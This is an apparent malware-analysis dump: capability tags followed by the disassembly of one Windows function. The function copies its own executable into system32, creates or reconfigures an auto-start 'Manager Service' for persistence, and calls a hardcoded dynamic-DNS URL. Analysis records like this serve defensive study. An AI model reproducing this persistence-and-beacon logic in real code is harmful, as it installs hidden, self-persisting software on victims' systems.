Function at 0x402600
Capabilities:
Copy file
Create service
Modify service
Persist via windows service
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1408
call fcn.00402eb0
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x1404]
push eax
call fcn.004025b0
add esp, 8
test eax, eax
je 0x402632
mov eax, 1
jmp 0x4028f5
mov edi, str._SYSTEMROOT__system32_
lea edx, [ebp - 0x400]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x1404]
lea edx, [ebp - 0x400]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
lea edx, [ebp - 0x400]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0
jne 0x4026eb
mov eax, 1
jmp 0x4028f5
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x404]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x1408], eax
cmp dword [ebp - 0x1408], 0
je 0x40277d
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x804]
push edx
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
mov eax, dword [ebp - 0x1408]
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x40275e
mov ecx, dword [ebp - 0x1408]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x404]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x4028f5
mov eax, dword [ebp - 0x1408]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x404]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40284b
mov edi, dword [ebp + 8]
lea edx, [ebp - 0xc04]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._Manager_Service
lea edx, [ebp - 0xc04]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
add edi, 0xffffffff
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x400]
push eax
push 1
push 2
push 0x20
push 0xf01ff
lea ecx, [ebp - 0xc04]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x404]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x1408], eax
cmp dword [ebp - 0x1408], 0
jne 0x402831
mov ecx, dword [ebp - 0x404]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
jmp 0x4028f5
mov edx, dword [ebp - 0x1408]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x404]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x400
lea ecx, [ebp - 0x804]
push ecx
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x402872
mov eax, 1
jmp 0x4028f5
push 0x400
lea eax, [ebp - 0x1004]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x402891
mov eax, 1
jmp 0x4028f5
push 0
lea ecx, [ebp - 0x804]
push ecx
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x4028b2
mov eax, 1
jmp 0x4028f5
lea eax, [ebp - 0x804]
push eax
call fcn.004015b0
add esp, 4
test eax, eax
je 0x4028cc
mov eax, 1
jmp 0x4028f5
push 0x40c114
push 0x40c110
push str.http:__www.xxxlpornsitegirls.ddnnss.com
push 0x40c0e4
call fcn.00401070
add esp, 0x10
test eax, eax
je 0x4028f3
mov eax, 1
jmp 0x4028f5
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret